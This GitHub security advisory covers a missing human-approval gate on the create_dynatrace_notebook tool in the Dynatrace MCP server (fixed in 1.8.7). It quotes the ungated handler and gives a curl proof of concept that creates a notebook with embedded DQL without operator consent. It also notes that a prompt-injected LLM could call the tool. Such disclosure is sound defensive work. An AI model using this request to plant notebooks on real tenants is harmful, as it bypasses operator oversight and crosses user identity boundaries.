Skip to content

@dynatrace-oss/dynatrace-mcp-server's create_dynatrace_notebook missing the human-approval gate

Low severity GitHub Reviewed Published Jun 8, 2026 in dynatrace-oss/dynatrace-mcp • Updated Jul 29, 2026

Package

npm @dynatrace-oss/dynatrace-mcp-server (npm)

Affected versions

< 1.8.7

Patched versions

1.8.7

Description

Summary

A missing human-approval gate on the create_dynatrace_notebook tool allows a caller to create persistent tenant-visible documents containing arbitrary content (including embedded DQL that other users execute when opening the notebook) without operator consent.

Details

dynatrace-mcp-server registers six write tools: send_slack_message, send_email, send_event, create_workflow_for_notification, make_workflow_public, and create_dynatrace_notebook. Five of these call requestHumanApproval() before executing the side-effect, which elicits the operator's explicit consent through the MCP elicitation protocol. The CHANGELOG explicitly states these approval gates were added "to ensure user consent and prevent unintended actions."

create_dynatrace_notebook does not call requestHumanApproval(). The tool was introduced in a separate release from the approval-gate retrofit and was left ungated. As a result, a caller can create persistent, tenant-visible Dynatrace notebooks containing arbitrary content with no operator confirmation. Notebooks can include embedded DQL queries that later execute under the permissions of any tenant user who opens them.

The vulnerable code is in src/index.ts, lines 1563-1601:

tool(
  'create_dynatrace_notebook',
  'Create Dynatrace Notebook',
  'Create a new notebook in the Dynatrace platform ...',
  {
    name: z.string().describe(/* ... */),
    description: z.string().optional().describe(/* ... */),
    content: z.array(z.object({
      type: z.enum(['dql', 'markdown']),
      text: z.string(),
    })).describe(/* ... */),
  },
  {
    readOnlyHint: false,
  },
  async ({ name, content, description }) => {
    const dtClient = await createAuthenticatedHttpClient(allRequiredScopes);
    const data = await createDynatraceNotebook(dtClient, name, content, description);
    // No requestHumanApproval() call.
    // No destructiveHint annotation.
    // Scopes requested are allRequiredScopes (the broadest possible set)
    // even though only document:documents:write is needed.

    return data
      ? `Document created successfully: ${dtEnvironment}/ui/apps/dynatrace.notebooks/notebook/${data.id}`
      : 'document creation failed';
  },
);

By comparison, every other write tool calls requestHumanApproval() as its first action:

  • send_email (line 1274): const approved = await requestHumanApproval(...);
  • send_slack_message (line 652): const approved = await requestHumanApproval(...);
  • send_event (line 1367): const approved = await requestHumanApproval(...);
  • create_workflow_for_notification (line 1069): const approved = await requestHumanApproval(...);
  • make_workflow_public (line 1118): const approved = await requestHumanApproval(...);

PoC

Tested end-to-end against a real Dynatrace tenant. The MCP server was started in HTTP mode with the operator's Platform Token:

export DT_ENVIRONMENT=https://<tenant>.apps.dynatrace.com
export DT_PLATFORM_TOKEN=dt0s16....
npx -y @dynatrace-oss/dynatrace-mcp-server@1.8.5 --http --port 3000

A single unauthenticated POST from a process with no Dynatrace credentials of its own:

curl -sS http://127.0.0.1:3000/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{
    "jsonrpc": "2.0", "id": 1, "method": "tools/call",
    "params": {
      "name": "create_dynatrace_notebook",
      "arguments": {
        "name": "Unapproved notebook",
        "description": "Created without operator approval.",
        "content": [
          {"type": "markdown", "text": "# This notebook was created without approval"},
          {"type": "dql",      "text": "fetch logs | limit 10"}
        ]
      }
    }
  }'

The response:

event: message
data: {"result":{"content":[{"type":"text","text":"Document created successfully:
       https://<tenant>.apps.dynatrace.com/ui/apps/dynatrace.notebooks/notebook/<uuid>"}]},
       "jsonrpc":"2.0","id":1}

The notebook is visible in the operator's Notebooks app within seconds. No elicitation prompt was sent to any operator client.

By contrast, the same harness invoking send_email or send_slack_message returns:

"Operation cancelled: Human approval was not granted for sending this email."

The gate logic exists and is wired up for all other write tools - it is simply missing on create_dynatrace_notebook.

Impact

  • A caller (an unauthenticated network attacker over the HTTP transport when authentication is missing, or a prompt-injected LLM in stdio mode) can silently create persistent tenant-visible documents.
  • The notebook content is attacker-controlled. Embedded DQL queries execute under the permissions of any tenant user who later opens the notebook - a stored-DQL pattern that crosses identity boundaries within the tenant.

References

Published to the GitHub Advisory Database Jul 29, 2026
Reviewed Jul 29, 2026
Last updated Jul 29, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

EPSS score

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-pc2w-4mq8-32qw

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.